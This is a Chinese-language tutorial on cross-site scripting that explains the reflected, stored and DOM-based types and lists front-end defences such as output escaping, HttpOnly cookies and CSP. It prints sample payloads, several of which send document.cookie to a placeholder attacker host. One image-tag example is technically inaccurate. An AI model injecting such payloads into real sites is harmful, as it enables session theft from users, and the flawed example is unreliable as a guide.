XSS，即跨站腳本攻擊（Cross-Site Scripting），是一種常見的網路安全漏洞，攻擊者通過在網頁中註入惡意腳本代碼，使得瀏覽器執行這些腳本，從而控制網頁上的內容或者獲取用戶的敏感信息。XSS 攻擊一般分為反射型、存儲型和 DOM 型三種類型。 1. 反射型 XSS 攻擊 反射型 XSS ...
XSS，即跨站腳本攻擊（Cross-Site Scripting），是一種常見的網路安全漏洞，攻擊者通過在網頁中註入惡意腳本代碼，使得瀏覽器執行這些腳本，從而控制網頁上的內容或者獲取用戶的敏感信息。XSS 攻擊一般分為反射型、存儲型和 DOM 型三種類型。
1. 反射型 XSS 攻擊
反射型 XSS 攻擊是指攻擊者通過向目標網站提交帶有惡意腳本代碼的請求，使得伺服器將這些代碼反射回瀏覽器，瀏覽器執行這些腳本，從而控制網頁上的內容或者竊取用戶的敏感信息。這種攻擊方式通常利用了一些用戶交互的機制，例如搜索框、評論框等。
例如，一個網站的搜索功能會將用戶輸入的內容作為參數傳遞到後端，後端會將這些參數拼接到一個 HTML 模板中返回給前端。攻擊者可以通過在搜索框中輸入惡意腳本代碼，使得這些代碼被拼接到 HTML 模板中，當其他用戶訪問這個頁面時，這些惡意腳本代碼會被執行，從而控制網頁上的內容或者竊取用戶的敏感信息。
2. 存儲型 XSS 攻擊
存儲型 XSS 攻擊是指攻擊者將惡意腳本代碼存儲到目標網站的資料庫中，當其他用戶訪問這個網站時，這些惡意腳本代碼會被載入並執行，從而控制網頁上的內容或者竊取用戶的敏感信息。
例如，一個網站的評論功能允許用戶提交評論並將評論存儲到資料庫中。攻擊者可以通過提交帶有惡意腳本代碼的評論，將這些代碼存儲到資料庫中，當其他用戶訪問這個頁面時，這些惡意腳本代碼會被載入並執行，從而控制網頁上的內容或者竊取用戶的敏感信息。
3. DOM 型 XSS 攻擊
DOM 型 XSS 攻擊是指攻擊者通過在網頁中註入惡意腳本代碼，使得瀏覽器執行這些腳本，從而控制網頁上的內容或者竊取用戶的敏感信息。與反射型和存儲型 XSS 攻擊不同，DOM 型 XSS 攻擊不需要向伺服器提交帶有惡意腳本代碼的請求，攻擊者直接通過修改網頁的 DOM 結構，將惡意腳本代碼註入到網頁中。
例如，一個網站的 URL 中包含一個參數，用來指定網頁上的某個元素的 ID。攻擊者可以通過在 URL 中註入惡意腳本代碼，使得這些代碼被瀏覽器解析執行，從而控制網頁上的內容或者竊取用戶的敏感信息。
以下是一些常見的 XSS 攻擊實例：
1. 假設有一個網站的搜索功能允許用戶在搜索框中輸入搜索關鍵字，並將關鍵字作為參數傳遞到伺服器端進行搜索。攻擊者可以在搜索框中輸入惡意腳本代碼，例如：
<script>alert('XSS攻擊')</script>
當其他用戶訪問這個頁面時，瀏覽器會執行這些惡意腳本代碼，彈出一個對話框，從而欺騙用戶或竊取用戶的敏感信息。
2. 假設有一個網站的評論功能允許用戶在評論框中提交評論，並將評論保存到資料庫中。攻擊者可以在評論框中提交惡意腳本代碼，例如：
<script>location.href='http://xxx.com/?cookie='+document.cookie</script>
當其他用戶訪問這個網頁時，瀏覽器會載入並執行這些惡意腳本代碼，將用戶的 Cookie 信息發送到攻擊者的伺服器，從而竊取用戶的會話信息。
3. 假設有一個網站的 URL 中包含一個參數，用來指定網頁上的某個元素的 ID。攻擊者可以構造如下的 URL，將惡意腳本代碼註入到網頁中：
http://example.com/page.html?element=<script>...</script>
當用戶訪問這個 URL 時，瀏覽器會解析執行其中的惡意腳本代碼，從而控制網頁上的內容或者竊取用戶的敏感信息。
4. 假設有一個網站的用戶個人資料頁面允許用戶上傳頭像。攻擊者可以上傳一個帶有惡意腳本代碼的圖片，例如：
<img src="http://xxx.com/attack.php?cookie='+document.cookie+'" />
當其他用戶訪問該用戶的個人資料頁面時，瀏覽器會載入並執行這張圖片中的惡意腳本代碼，從而竊取用戶的會話信息。
5. 假設有一個網站的管理員後臺頁面需要用戶輸入用戶名和密碼進行登錄。攻擊者可以在登錄頁面中註入如下的惡意腳本代碼：
<script>document.forms[0].action='http://xxx.com/steal.php?cookie='+document.cookie;</script>
當管理員在該登錄頁面輸入用戶名和密碼並點擊登錄按鈕時，瀏覽器會將管理員的 Cookie 信息發送到攻擊者的伺服器，從而竊取管理員的會話信息。
為了防範 XSS 攻擊，前端開發人員可以採用以下措施：
1. 對用戶輸入進行過濾和驗證，避免將惡意腳本代碼傳遞到伺服器端。
2. 對輸出到網頁的內容進行轉義，避免惡意腳本代碼被瀏覽器執行。
3. 使用 HTTP Only Cookie，避免攻擊者竊取用戶的會話信息。
4. 使用 Content Security Policy（CSP），限制網頁中可以執行的腳本代碼的來源。
5. 使用驗證碼、限制用戶輸入長度等機制，降低攻擊的成功率。
6. 使用 HTTPS 協議傳輸敏感信息，避免信息被竊取或篡改。
7. 及時更新和修複網站漏洞，避免攻擊者利用已知的漏洞進行攻擊。
8. 避免使用 eval()、innerHTML 等可以執行字元串的函數，避免將惡意腳本代碼註入到網頁中。
9. 在編寫代碼時，始終保持安全意識，避免在代碼中暴露敏感信息或者給攻擊者留下漏洞。
總之，為了防範 XSS 攻擊，前端開發人員需要在代碼編寫過程中註重安全性，並採用一些安全性較高的編碼技術和工具，以確保網站的安全性和可靠性。當然現在用的vue、react等配合打包工具，很大程度上已經規避了很多風險，但還是要註意防範。
